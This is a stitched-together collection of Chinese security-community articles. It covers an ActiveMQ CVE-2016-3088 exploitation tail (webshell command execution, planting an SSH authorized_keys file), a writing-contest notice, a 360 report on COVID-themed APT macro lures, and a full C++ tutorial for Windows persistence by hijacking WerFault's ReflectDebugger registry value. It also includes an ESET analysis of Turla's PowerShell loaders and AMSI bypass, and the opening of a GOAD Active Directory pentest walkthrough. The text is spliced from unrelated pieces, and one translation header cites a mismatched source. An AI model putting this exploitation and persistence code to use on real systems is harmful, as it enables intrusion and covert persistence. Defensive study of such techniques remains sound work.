Visit <http://localhost:8161/admin/1.jsp?cmd=ls>, the command is successfully
executed
* Upload SSH public key
Since any file can be uploaded and moved, we can use ssh public key to achieve
SSH login.
First generate a key pair. (Not required if it already exists)
Then upload, move to `/ root / .ssh /` and rename it to `authorized_keys`
Then log in.
#### 5\. Vulnerability protection scheme
1. The function of ActiveMQ Fileserver has been removed in 5.14.0 and later versions. Users are recommended to upgrade to 5.14.0 and later.
2.Disable the ActiveMQ Fileserver function by removing the following
configuration of `conf \ jetty.xml`
#### 6\. References
[1] <http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt>
[2] <https://www.seebug.org/vuldb/ssvid-96268>
* * * | 社区文章 |
活动要求：
针对业界广泛使用的软件或组件的漏洞，最新公开的CVE漏洞，进行漏洞成因分析。利用Spring
Framework框架的，shiro的，Apache多个系列的，VMware系列等等。
CVE漏洞来源可参考nvd或cvedetail等网站，漏洞等级为 高危和严重（或者思路特别有意思或独特）的CVE漏洞 。
这次活动的漏洞时效要求，CVE信息公开时间1个月内的CVE，超过的不在范围。
要求必须原创，不能抄袭或者与其他平台或公众号等内容有一定重复度。
文章内容必写要求：
1，漏洞影响的软件或组件以及版本
2，漏洞的成因，有问题的代码段
3，漏洞的利用成功证明截图
文章奖金：
800-1000 | 社区文章 |
# 南亚APT组织借新冠疫情对我国医疗机构发起定向攻击
##### 译文声明
本文是翻译文章
原文地址：<https://www.mdsec.co.uk/2020/01/code-injection-in-workflows-leading-to-sharepoint-rce-cve-2020-0646/>
译文仅供参考，具体内容表达以及含义原文为准。
疫情亦网情，新冠病毒之后网络空间成疫情战役的又一重要战场。
【快讯】在抗击疫情当下，却有国家级黑客组织趁火搅局。今天，360安全大脑捕获了一例利用新冠肺炎疫情相关题材投递的攻击案例，攻击者利用肺炎疫情相关题材作为诱饵文档，对抗击疫情的医疗工作领域发动APT攻击。疫情攻坚战本就不易，国家级黑客组织的入局让这场战役越发维艰。可以说，疫情战早已与网络空间战紧密相连，网络空间成疫情战役的又一重要战场。
## 一波未平一波又起，2020年这一年似乎格外的难。
在抗击疫情面前，有人守望相助，有人却趁火打劫。而若这里的“人”上升到一个“国家”层面，而这个黑客组织打劫的对象却是奋战在前线的抗疫医疗领域的话，那无疑是给这场本就维艰的战役雪上加霜，而这个举动更是令人愤慨至极!
## 肺炎疫情相关题材成诱饵文档 这波攻击者简直丧尽天良
近日，360安全大脑捕获了一例利用肺炎疫情相关题材投递的APT攻击案例，攻击者利用肺炎疫情相关题材作为诱饵文档，通过邮件投递攻击，并诱导用户执行宏，下载后门文件并执行。
目前已知诱饵文档名如下：
## 对攻击者进一步追根溯源，幕后竟是国家级APT组织布局
在进一步分析中，我们不仅清楚了解到攻击者的“路数”，更进一步揭开了此次攻击者的幕后真凶。
首先，攻击者以邮件为投递方式，部分相关诱饵文档示例如：武汉旅行信息收集申请表.xlsm，并通过相关提示诱导受害者执行宏命令。
而宏代码如下：
这里值得一提的是：
攻击者其将关键数据存在worksheet里，worksheet被加密，宏代码里面使用key去解密然后取数据。
然而其用于解密数据的Key为：nhc_gover，而nhc正是中华人民共和国国家卫生健康委员会的英文缩写。
更为恐怖的是，一旦宏命令被执行，攻击者就能访问<hxxp://45.xxx.xxx.xx/window.sct>，并使用scrobj.dll远程执行Sct文件，这是一种利用INF
Script下载执行脚本的技术。
这里可以说的在细一些，Sct为一段JS脚本。
而JS脚本则会再次访问下载<hxxp://45.xxx.xxx.xx/window.jpeg>，并将其重命名为temp.exe，存放于用户的启动文件夹下，实现自启动驻留。
此次攻击所使用的后门程序与之前360安全大脑在南亚地区APT活动总结中已披露的已知的南亚组织专属后门cnc_client相似，通过进一步对二进制代码进行对比分析，其通讯格式功能等与cnc_client后门完全一致。可以确定，该攻击者为已披露的南亚组织。
为了进一步证实为南亚组织所为，请看下面的信息：
木马与服务器通信的URL格式与之前发现的完全一致。
通信过程中都采用了UUID作为标识符，通信的格式均为json格式。
木马能够从服务器接收的命令也和之前完全一致。分别为远程shell，上传文件，下载文件。
远程shell
上传文件
下载文件
至此，我们已经完全确定此次攻击的幕后真凶就是南亚CNC
APT组织！而它此次竟公然利用疫情对我国网络空间、医疗领域发动APT攻击，此举令人愤慨至极！此举简直丧尽天良！
## 利用疫情发动猛烈攻击，南亚组织简直无所不用极其
无独有偶，在利用疫情对中国发动攻击上，南亚组织简直是无所不用极其。
2月2日，南亚组织研究人员对其于1月31日发表在bioRxiv上的有关新型冠状病毒来源于实验室的论文进行正式撤稿。该南亚组织的人员企图利用此次“疫情”制造一场生物“阴谋论”，霍乱我国抗疫民心。
幸而我们的生物信息学家正努力用科学击败这场他国攻击我国的“阴谋”。
2月2日下午3时左右，中国科学院武汉病毒所研究员石正丽，就在自己个人微信朋友圈发文如下：
然而，事实上，不止于此次南亚组织对我国发动猛烈攻击，早在2019年末时，智库在[《年终盘点：南亚APT组织“群魔乱舞”，链条化攻击“环环相扣”》](http://mp.weixin.qq.com/s?__biz=MzU4Nzg2MzIxMA==&mid=2247484468&idx=1&sn=09b588efd868e754cf2316c7f60fc9de&chksm=fde4c1f1ca9348e701c52bc0b9e07a231675b405fe258d265f21656ddc7bce28f11015fddeec&scene=21%23wechat_redirect)就指出，南亚地区APT组织一直活跃地发动攻击，其中就有不少起是南亚针对我国的。
此次，是它利用“疫情”再次趁火打劫，对我国施以雪上加霜的攻击！此举简直是丧尽天良！
## 中国有句古话，人生有三不笑：不笑天灾，不笑人祸，不笑疾病。
在抗疫面前，我们所有的前线、中线与后线的所有工作者都在不眠不休的与时间赛跑，与病毒赛跑，在努力打赢这场疫情防御之战。
然而，疫情之战与网络空间之战早已紧密联系在一起，我们永远不能忽略那些敌对势力对我们发动的任何攻击，尤其是在这样一个特殊时刻。敌人明里暗里的加入，无疑给我们打赢这场战役增加了困难，但我们相信我们一定能赢！
加油，中国！
其他资料补充：
关于360高级威胁应对团队(360 ATA Team)：
专注于APT攻击、0day漏洞等高级威胁攻击的应急响应团队，团队主要技术领域包括高级威胁沙盒、0day漏洞探针技术和基于大数据的高级威胁攻击追踪溯源。在全球范围内率先发现捕获了包括双杀、噩梦公式、毒针等在内的数十个在野0day漏洞攻击，独家披露了多个针对中国的APT组织的高级行动，团队多人上榜微软TOP100白帽黑客榜，树立了360在威胁情报、0day漏洞发现、防御和处置领域的核心竞争力。
《南亚地区APT组织2019年度攻击活动总结》
报告链接：[http://zt.360.cn/1101061855.php?dtid=1101062514&did=610401913](http://zt.360.cn/1101061855.php?dtid=1101062514&did=610401913)，请点击阅读原文获取详细报告。
本文为国际安全智库作品 （微信公众号：guoji-anquanzhiku）
如需转载，请标注文章来源于：国际安全智库 | 社区文章 |
这篇文章是基于我自己对一个更有趣的恶意软件权限维持技巧的研究：通过`WerFault.exe`.
###
WerFault.exe[永久链接](https://cocomelonc.github.io/malware/2022/11/02/malware-pers-18.html#werfaultexe "Permalink")
在研究Windows错误报告的行为时，我遇到了一个有趣的注册表路径：
`HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Hangs`
如果我们运行命令 `WerFault.exe -pr <value>`则读取
`HKLM\Software\Microsoft\Windows\Windows Error
Reporting\Hangs\ReflectDebugger=<path_value>`。这个命令运行`WerFault.exe`称为_“反射调试器”_的模式，非常有趣。例如，运行
`WerFault.exe -pr 1` 并通过 Sysinternals Process Monitor 进行检查：
添加另一个筛选器：
因此，我们有一个漏洞来劫持这个值：
那么，诀窍是什么？我们可以将注册表值 `HKLM\SOFTWARE\Microsoft\Windows\Windows Error
Reporting\Hangs\ReflectDebugger` 替换为我们的邪恶应用程序，因为
`WerFault.exe`不仅读取此值，而且还运行它。当然，我们可以用它来权限维持。
### 实际示例[永久链接](https://cocomelonc.github.io/malware/2022/11/02/malware-pers-18.html#practical-example "Permalink")
为简单起见，我的恶意应用程序只是`meow-meow`消息框（`hack.cpp`):
/*
meow-meow messagebox
author: @cocomelonc
*/
#include <windows.h>
#pragma comment (lib, "user32.lib")
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
MessageBoxA(NULL, "Meow-meow!","=^..^=", MB_OK);
return 0;
}
然后，创建使用我的恶意应用程序创建注册表项值的脚本：
int main(int argc, char* argv[]) {
HKEY hkey = NULL;
// malicious app
const char* exe = "Z:\\2022-11-02-malware-pers-18\\hack.exe";
// hijacked app
const char* wf = "WerFault.exe -pr 1";
// set evil app
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\Hangs", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"ReflectDebugger", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}
}
此外，我使用了[权限维持的经典技巧之一](https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html)：
// startup
res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"meow", 0, REG_SZ, (unsigned char*)wf, strlen(wf));
RegCloseKey(hkey);
}
因此，最终的源代码看起来像这样（`pers.cpp`):
/*
pers.cpp
windows persistense via WerFault.exe
author: @cocomelonc
https://cocomelonc.github.io/malware/2022/11/02/malware-pers-18.html
*/
#include <windows.h>
#include <string.h>
int main(int argc, char* argv[]) {
HKEY hkey = NULL;
// malicious app
const char* exe = "Z:\\2022-11-02-malware-pers-18\\hack.exe";
// hijacked app
const char* wf = "WerFault.exe -pr 1";
// set evil app
LONG res = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\Windows Error Reporting\\Hangs", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"ReflectDebugger", 0, REG_SZ, (unsigned char*)exe, strlen(exe));
RegCloseKey(hkey);
}
// startup
res = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCSTR)"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", 0 , KEY_WRITE, &hkey);
if (res == ERROR_SUCCESS) {
// create new registry key
RegSetValueEx(hkey, (LPCSTR)"meow", 0, REG_SZ, (unsigned char*)wf, strlen(wf));
RegCloseKey(hkey);
}
return 0;
}
### 演示[永久链接](https://cocomelonc.github.io/malware/2022/11/02/malware-pers-18.html#demo "Permalink")
编译我们的恶意应用程序：
x86_64-w64-mingw32-g++ -O2 hack.cpp -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
和权限维持脚本：
x86_64-w64-mingw32-g++ -O2 pers.cpp -o pers.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -fpermissive
在运行所有内容之前，首先检查注册表项和值：
reg query "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Hangs\" /s
reg query "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Hangs\ReflectDebugger" /s
运行“恶意软件”以检查正确性：
此外，请检查用于权限维持逻辑的注册表项：
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /s
然后，运行 `pers.exe`:
并再次检查 Windows 错误报告注册表项：
reg query "HKLM\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Hangs" /s
如你所见，键值被编辑，我们可以通过运行来检查正确性：
然后，注销并登录：
几秒钟后，我们的`meow-meow`消息框按预期弹出：
你可以通过Process Hacker 2检查`hack.exe`的属性：
另外，请注意劫持 Windows 错误报告所需的管理员权限，但为了权限维持，我们使用低权限：
Remove-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\Windows Error Reporting\Hangs" -Name "ReflectDebugger"
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "meow"
我不知道是否有任何 APT 使用了这种策略和技巧，但是，我希望这篇文章能够向蓝队成员传播这种有趣技术的认识，尤其是在创建软件时，并为红队武器库添加武器。
> 这是一个仅用于教育目的的实际案例。
[MSDN Windows 错误报告](https://learn.microsoft.com/en-us/windows/win32/wer/windows-error-reporting)
[DLL 劫持](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
[使用导出函数进行 DLL 劫持](https://cocomelonc.github.io/pentest/2021/10/12/dll-hijacking-2.html)
[恶意软件权限维持：第 1
部分](https://cocomelonc.github.io/malware/2022/11/02/\(/tutorial/2022/04/20/malware-pers-1.html))
[GitHub 中的源代码](https://github.com/cocomelonc/2022-11-02-malware-pers-18)
[源文章](https://cocomelonc.github.io/malware/2022/11/02/malware-pers-18.html) | 社区文章 |
ESET研究人员分析了与Turla组织相关的新的TTP，Turla使用PowerShell来在内存中运行恶意软件。
# 背景
Turla也称Snake，是一个著名的监控组织，以其复杂的恶意软件而闻名。为了绕过检测，其运营者近期开始使用PowerShell脚本直接在内存中加载和执行恶意软件可执行文件和库。这样当恶意可执行文件释放到硬盘上的时候就可以绕过检测。
Turla组织从2008年开始活跃，最近它参与到针对德国外交部和法国军方的攻击中。
这并非Turla首次使用PowerShell内存内加载器来增加绕过安全产品的概率。早在2018年，Kaspersky实验室就发布了报告分析Turla
PowerShell加载器。几个月后，Turla更新了脚本，目前使用这些脚本来加载大范围的定制恶意软件。
Turla的受害者范围非常集中。研究人员发现东欧的外交机构，以及西欧和中东的一些组织都是其目标。本文主要分析PowerShell脚本和不同的payload。
# PowerShell Loader
PowerShell loader有三个主要步骤：驻留、解密、加载嵌入的可执行文件或库到内存中。
## 驻留
PowerShell脚本并不是简单的释放器，它只加载嵌入的可执行文件到内存中。研究人员发现Turla运营者使用了两种驻留的方法：
* Windows Management Instrumentation (WMI)事件订阅
* PowerShell介绍文件修改(profile.ps1文件)
### Windows Management Instrumentation
在第一种方法中，攻击者会创建2个WMI事件过滤器和2个WMI事件用户（consumer）。用户就是启动base64编码的PowerShell命令的命令行，会加载保存在Windows注册表中的PowerShell脚本。图1是驻留建立的过程。
图1. 使用WMI完成驻留
这些事件会在15:30:40和系统开始时间在300到400秒钟的时间运行。变量$HL39fjh含有base64编码的PowerShell命令，如图2所示。它会读取加密payload保存的Windows注册表键值，并含有解密payload所需的密码和salt。
图2. WMI consumer PowerShell命令
最后，脚本会将加密的payload保存在Windows注册表钟。攻击者看似会对每个攻击目标使用不同的注册表位置。这样，就很难检测类似的入侵。
### Profile.ps1
在第二种情况下，攻击者会修改PowerShell简介。根据微软的文档：
PowerShell简介文件是当PowerShell启动时运行的脚本。用户可以使用profile作为登陆的脚本来定制化环境。可以添加命令、别名、函数、变量、模块和PowerShell驱动。
图3是Turla修改后的PowerShell profile文件。
图3. 劫持的profile.ps1文件
基于base64编码的PowerShell命令与WMI用户使用的命令非常相似。
## 解密
保存在Windows注册表中的payload是另一个PowerShell脚本。它是用渗透测试框架PowerSploit中的开源脚本`Out-EncryptedScript.ps1`生成的。此外，使用的变量名都是随机处理过的，以混淆脚本，如图4所示。
图4. 解密路径
Payload是用3DES算法解密的。每个样本的初始向量IV也是不同的。每个脚本的key和salt也是不同的，而且并不保存在脚本中，而是保存在WMI过滤器或`profile.ps1`文件中。
## PE loader
前面步骤中解密的payload是一个PowerShell反射型加载器。也是基于PowerSploit框架的`Invoke-ReflectivePEInjection.ps1`脚本的。可执行文件是硬编码在脚本中的，并且直接加载到随机选择的系统中正在运行的进程的内存中。
在该样本中，攻击者指定了一些二进制文件不应该注入的可执行文件列表，如图5所示。
图5. 排除的进程列表示例
而这些可执行文件avp.exe, avpsus.exe, klnagent.exe和vapm.exe都是Kaspersky
Labs产品的可执行文件。所以，Turla运营者应该是需要避免将其恶意软件注入到kaspersky软件中。
### 绕过AMSI
在2019年3月以来的样本中，Turla开发者修改了PowerShell脚本来绕过`Antimalware Scan Interface
(AMSI)`。这是允许任何应用集成到已安装的反恶意软件产品的接口，对PowerShell和宏非常有用。
PowerShell脚本会加载一个.NET可执行文件来提取`AmsiScanBuffer`的地址。然后调用VirtualProtect来允许在提取的地址写内容。
最后，补丁会直接在PowerShell脚本中完成，如图6所示。修改了`AmsiScanBuffer`开始的内容来返回1（`AMSI_RESULT_NOT_DETECTED`），这样，反恶意软件产品并不会接收缓冲区，这可以预防扫描内容。
图6. AmsiScanBuffer函数
## Payloads
PowerShell脚本是用来加载不同payload的通用模块，比如RPC后门和PowerShell后门。
### RPC后门
Turla开发了大量依赖RPC协议的后门集。这些后门被用来执行之后的活动和控制本地网络中其他的机器。
实现的特征也都比较基础，包括文件上传、文件下载、通过`cmd.exe`或PowerShell执行命令。但恶意软件也支持添加新的插件。
RPC后门被分为2个部分：服务端和客户端。当服务端组件存在时，运营者使用客户端组件来执行位于其他机器上的命令，命令总结如图7所示。
图7. RPC后门使用
比如，SHA-1哈希值`EC54EF8D79BF30B63C5249AF7A8A3C652595B923`对应的样本就是一个客户端版本。组件会通过函数`RpcStringBindingComposeW`和协议序列`ncacn_np`打开名为`\\pipe\\atctl`的管道。然后样本可以通过调用`NdrClientCall2`函数来发送命令。负责分析参数的`HandlerW`表明可以尝试伪装成匿名token或尝试窃取其他进程的token来执行命令。
服务端首先检查注册表值`HKLM\SYSTEM\CurrentControlSet\services\LanmanServer\Parameters\NullSessionPipes`是否含有`atctl`，如果是，服务器就通过`SetSecurityInfo`函数将pipe对象安全描述符设置为`S:(ML;;NW;;;S-1-16-0)`，这样即使不可信或匿名级的用户都可以访问该pipe。
下图是对应的MIDL stub描述符和相似的语法以及端口ID。
图8. RPC后门客户端MIDL（左），服务器（右）
该后门还支持加载插件。服务器会创建一个线程来搜索与模式`lPH*.dll`匹配的文件。如果存在这样的文件，就加载并调用那个导出函数`ModuleStart`。研究人员定位的不同插件中，有的可以从USB中窃取最近的文件。
该RPC后门的很多变种也仍然在使用。其中研究人员发现本地代理和新版本中嵌入了`PowerShellRunner`可以在不使用`powershell.exe`的情况下执行运行脚本。
### RPC欺骗服务器
研究人员研究发现嵌入pdb路径为`C:\Users\Devel\source\repos\RPCSpoofer\x64\Release_Win2016_10\RPCSpoofServerInstall.pdb`(SHA-1:
`9D1C563E5228B2572F5CA14F0EC33CA0DEDA3D57`)的可移动可执行文件。
该工具的主要目的就是提取已经注册了接口的进程的RPC配置信息。为了找出这类进程，它会通过GetTcpTable2函数在TCP
Table中循环寻找，直到找到打开了特定端口的进程PID或提取出打开特定名pipe的进程PID。找到PID后，该工具会读取远程进程的内存并尝试提取注册的RPC接口。代码如图9所示。
图9. 搜索远程进程中的rpcrt4.dll的data部分代码
首先我们不清楚提取的信息是如何使用的，因此研究人员分析了样本（SHA-1:`B948E25D061039D64115CFDE74D2FF4372E83765`）。如图10所示，样本会提取RPC接口，重新设置标记为`RPC_IF_ALLOW_SECURE_ONLY`，使并用`WriteProcessMemory`函数来对内存中的dispatch
table打补丁。这些操作允许样本将RPC函数添加到已有的RPC接口上。研究人员相信重用已有RPC接口要比创建定制RPC接口更加隐蔽。
图10. 提取当前进程RPC disptach的代码段
### PowerStallion
PowerStallion是使用Microsoft
OneDrive作为C2服务器的轻量级PowerShell后门。凭证硬编码在脚本的初始位置，如图11所示。
图11. PowerStallion脚本中的OneDrive凭证
研究人员发现Turla运营者再次使用了免费的邮件服务提供商GMX，在攻击中的邮箱地址中使用了目标组织真实员工的名字。
然后用net
use命令来连接到网络驱动。然后检查命令是否可用，如图12所示。后门只能执行其他的PowerShell脚本，然后将命令执行的结果写入另一个OneDrive子文件夹并用XOR
key 0xAA加密。
图12. PowerStallion后门的主循环
脚本还会修改本地日志文件的修改日期、访问时间和创建时间（MAC）来与合法文件的时间相匹配，比如图13的`desktop.ini`。
图13. 对本地日志文件的MAC进行修改
研究人员相信该后门是一个恢复访问工具，以防Turla后门被清除或其运营者无法再访问被黑的计算机。研究人员还发现其运营者将后门用作以下用途：
* 监控反恶意软件日志。
* 监控Windows进程列表。
* 安装Turla第二阶段木马ComRAT v4。
# 结论
在2018年的分析文章中，研究任意预测Turla会使用更加通用的工具。最新研究确认这一预测，并表明Turla开始使用开源渗透测试框架来执行入侵活动。但这并不影响归属于Turla的活动。攻击者倾向于配置和修改开源工具来更好地适应其需求。这样就可能将不同的攻击活动分割开来。最后，使用开源工具并不意味着Turla已经停止使用其定制的工具。PowerShell脚本分发的payload、RPC后门和PowerStallion其实都是高度定制化的。对Turla
LightNeuron的分析也表明Turla仍在开发复杂的自定义恶意软件。
本文翻译自：<https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/> | 社区文章 |
# 前言
<https://github.com/Orange-Cyberdefense/GOAD>
这应该是我遇到的最精彩的域渗透靶场了，部署方便、内容丰富。
[域渗透GOAD(Game Of Active Directory) v2搭建教程](https://xz.aliyun.com/t/12178
"域渗透GOAD\(Game Of Active Directory\) v2搭建教程")
## 架构
其拓扑环境如下：
一共包含三个域环境， 五台机器(三个DC，两个普通成员机器)，具体如下：
* **kingslanding** : DC01 running on Windows Server 2019 (with windefender enabled by default)
* **winterfell** : DC02 running on Windows Server 2019 (with windefender enabled by default)
* **castelblack** : SRV02 running on Windows Server 2019 (with windefender **disabled** by default)
* **meereen** : DC03 running on Windows Server 2016 (with windefender enabled by default)
* **braavos** : SRV03 running on Windows Server 2016 (with windefender enabled by default)
域 : north.sevenkingdoms.local
* winterfell : DC01
* castelblack : SRV02 : MSSQL / IIS
域 : sevenkingdoms.local
* kingslanding : DC02
* castelrock : SRV01 (disabled due to resources reasons)
域 : essos.local
* braavos : DC03
* meeren : SRV03 : MSSQL / ADCS
## 技术
渗透过程中遇到的一些技术和手段如下，个人觉得还是能学到一些东西的：
* Password reuse between computer (PTH)
* Spray User = Password
* Password in description
* SMB share anonymous
* SMB not signed
* Responder
* Zerologon
* Windows defender → 可以掌握一些至今仍有效的免杀方法
* ASREPRoast
* Kerberoasting
* AD ACL abuse
* Unconstraint delegation
* NTLM relay
* Constrained delegation
* Install MSSQL
* MSSQL trusted link
* MSSQL impersonate
* Install IIS
* Upload asp app
* Multiples forest
* Anonymous RPC user listing
* Child parent domain
* Generate certificate and enable ldaps
* ADCS - ESC 1/2/3/8
* Certifry
* Samaccountname/nopac
* Petitpotam unauthent
* Printerbug
* Drop the mic
* Shadow credentials
## 感受
这篇文章是我跟着官方WP(<https://mayfly277.github.io/posts/GOADv2/>)复现的记录，里面加了大量自己的经验和理解。有些地方作者说的挺简略的，我踩过的坑这里也都会总结一下，也加上了国内安全圈常用的一些工具，因此并不是简单的翻译。
值得一提的是，大部分Win下的工具我都使用了Github Actions进行在线编译打包（问就是懒得装Visual
Studio），后续如果进行免杀/混淆也比较方便，我也会将所有在线编译的workflow放出。
如果跟我一样是域渗透的新手的话，推荐读一下这几本书（体系化的学习还得读书啊），跟本靶场配合食用：
* 《内网安全攻防 渗透测试实战指南》这本书不止包括域渗透的内容，还有很多内网的知识，推荐快速阅读构建起知识体系
* 《Kerberos域网络安全 从入门到精通》这本书开头也交代了环境搭建，而且后续的知识点和实验都会用到这个环境，体验还是很棒的，推荐仔细阅读
* 《域渗透攻防指南》 这本还没看 据说也不错
## 目录
本文的结构如下：
* 0x00 环境搭建
* 0x01 对靶场进行扫描探测 定位DC、扫描服务等
* 0x02 获得一些用户的凭证 爆破、ASREProasting、密码喷洒等
* 0x03 使用已有的凭证进行初步的渗透 列出全部用户、keberoasting、使用Bloodhound进一步了解靶场环境等
* 0x04 投毒和中继 使用Responder获得用户的netntlm哈希、通过NTLM中继获得shell、ntlmrelayx后使用RBCD获得域管权限等
* 0x05 使用用户凭证进一步渗透 利用SamAccountName和PrintNightmare漏洞获得域管权限
* 0x06 ADCS 不正确的ADCS配置可以导致特权提升 使用ESC8获取essos.local上的域管理员、使用certipy、bloodhound和用户帐户枚举模板证书、然后基于certipy进行以下攻击：esc1、esc2、esc3、esc4、esc6、certifried和shadow credentials
* 0x07 MSSQL 枚举MSSQL服务(SPN、端口指纹等)、通过MSSQL实现RCE
* 0x08 权限提升 基于webshell来提升权限，包括AMSI Bypass技巧、SweetPotato、BadPotato、KrbRelay Up等
* 0x09 横向移动 导出哈希、SAM凭证、PTH、LSA凭证、绕过AV转储LSASS进程、获得凭证后横向移动等
* 0x0A 委派 非约束委派、约束委派、RBCD的利用
* 0x0B ACL 辅以BloodHound，通过ACL，一步步从普通用户到域控
* 0x0C 域信任 枚举信任关系、子域到父域移动、森林间移动等
# 0x00 靶场搭建
先把仓库clone下来 然后按照ReadMe进行部署即可 在这里说几个点
1. 配置文件中 elk默认是被注释掉了 如果需要配置elk的话 取消注释即可
[
# windows server 2019
{ :name => "DC01", :ip => "192.168.56.10", :box => "StefanScherer/windows_2019", :box_version => "2021.05.15", :os => "windows"},
# windows server 2019
{ :name => "DC02", :ip => "192.168.56.11", :box => "StefanScherer/windows_2019", :box_version => "2021.05.15", :os => "windows"},
# windows server 2016
{ :name => "DC03", :ip => "192.168.56.12", :box => "StefanScherer/windows_2016", :box_version => "2017.12.14", :os => "windows"},
# windows server 2019
#{ :name => "SRV01", :ip => "192.168.56.21", :box => "StefanScherer/windows_2019", :box_version => "2020.07.17", :os => "windows"},
# windows server 2019
{ :name => "SRV02", :ip => "192.168.56.22", :box => "StefanScherer/windows_2019", :box_version => "2020.07.17", :os => "windows"},
# windows server 2016
{ :name => "SRV03", :ip => "192.168.56.23", :box => "StefanScherer/windows_2016", :box_version => "2019.02.14", :os => "windows"},
# ELK
{ :name => "elk", :ip => "192.168.56.50", :box => "bento/ubuntu-18.04", :os => "linux",
:forwarded_port => [
{:guest => 22, :host => 2210, :id => "ssh"}
]
}
]
2.然后执行下边三条命令
vagrant up # 下载镜像 启动虚拟机
sudo docker build -t goadansible . # 使用docker构建ansible
sudo docker run -ti --rm --network host -h goadansible -v $(pwd):/goad -w /goad/ansible goadansible ansible-playbook main.yml # 使用ansible配置环境
如果网络不好的话 建议把前两个命令分别挂screen或者tmux跑
第三步命令ansible配置环境很容易报各种错，按作者的说法是由windows延迟造成的
反复执行即可，直到没有红色的报错
3.如果一直没成功的话，可以看一下我提的这个issue，检查是否计算资源不足了
<https://github.com/Orange-Cyberdefense/GOAD/issues/79>
4.在windows下我也推荐用virtualbox 与vmware相比 virtualbox搭配vagrant的兼容性要更好一些(个人感受)
# 0x01 Reconnaissance and Scan 侦查和扫描
本文中的mindmap来自该链接 <https://orange-cyberdefense.github.io/ocd-mindmaps/>
这个做的还是蛮不错的
## 使用cme进行第一次侦查
<https://github.com/Porchetta-Industries/CrackMapExec>
在使用nmap进行扫描之前 可以使用cme来扫描netbios协议 可以快速得到所有的存活IP、机器名、都在域
cme smb 192.168.56.1/24
在kali内可以直接apt install crackmapexec安装
也可以使用docker来部署cme（docker内也要配置hosts 不然某些功能无法解析DNS）
### 信息
从命令执行结果得知有三个域，分别为：
* north.sevenkingdoms.local
* 192.168.56.22 CASTELBLACK (windows server 2019) (signing False)
* 192.168.56.11 WINTERFELL (windows server 2019) **(signing True)**
* sevenkingdoms.local
* 192.168.56.10 KINGSLANDING (windows server 2019) **(signing True)**
* essos.local (2 IP: )
* 192.168.56.23 BRAAVOS (windows server 2016) (signing False)
* 192.168.56.12 MEEREEN (windows server 2019) **(signing True)**
这里因为有 3 个域，所以我们知道必须存在3个DC。 我们还知道，微软默认将DC的smb签名设置为True。
所以所有的 DC 都是图里签名为 True 的那个。 （在安全环境中，签名必须在任何地方都为真，以避免 ntlm 中继攻击）。
## 寻找域控IP
比较常用的方法有端口扫描(389/135/445等)、dns查询、域内机器直接查询等，这里我们已经知道了各个domain的域名，所以采用dns查询的方式
nslookup -type=srv _ldap._tcp.dc._msdcs.sevenkingdoms.local 192.168.56.10
nslookup -type=srv _ldap._tcp.dc._msdcs.north.sevenkingdoms.local 192.168.56.10
nslookup -type=srv _ldap._tcp.dc._msdcs.essos.local 192.168.56.10
进一步确认三个域控的IP
（也可以用dig）
## 设置/etc/hosts和kerberos
想要在linux环境中使用kerberos需要做一些设置
1.首先修改/etc/hosts设定DNS
# /etc/hosts
192.168.56.10 sevenkingdoms.local kingslanding.sevenkingdoms.local kingslanding
192.168.56.11 winterfell.north.sevenkingdoms.local north.sevenkingdoms.local winterfell
192.168.56.12 essos.local meereen.essos.local meereen
192.168.56.22 castelblack.north.sevenkingdoms.local castelblack
192.168.56.23 braavos.essos.local braavos
2.然后安装Linux kerberos client
sudo apt install krb5-user
如下设置
realm : essos.local
servers : meereen.essos.local
3.按下列配置修改/etc/krb5.conf
[libdefaults]
default_realm = essos.local
kdc_timesync = 1
ccache_type = 4
forwardable = true
proxiable = true
fcc-mit-ticketflags = true
[realms]
north.sevenkingdoms.local = {
kdc = winterfell.north.sevenkingdoms.local
admin_server = winterfell.north.sevenkingdoms.local
}
sevenkingdoms.local = {
kdc = kingslanding.sevenkingdoms.local
admin_server = kingslanding.sevenkingdoms.local
}
essos.local = {
kdc = meereen.essos.local
admin_server = meereen.essos.local
}
...
如果已经安装了 krb5-user，我们可以使用（dpkg-reconfigure 或通过修改 /etc/krb5.conf）重新配置它
dpkg-reconfigure krb5-config
现在已在环境中设置好了kerberos，我们将尝试是否可以为用户获取 TGT（ **假设** 已知用户密码）
使用impacket/examples中的getTGT脚本
python getTGT.py essos.local/khal.drogo:horse
设置环境变量
export KRB5CCNAME=/your_path/khal.drogo.ccache
连接
python smbclient.py -k @braavos.essos.local
可以取消设置这个ticket
unset KRB5CCNAME
对winterfell机器测试时出现了问题
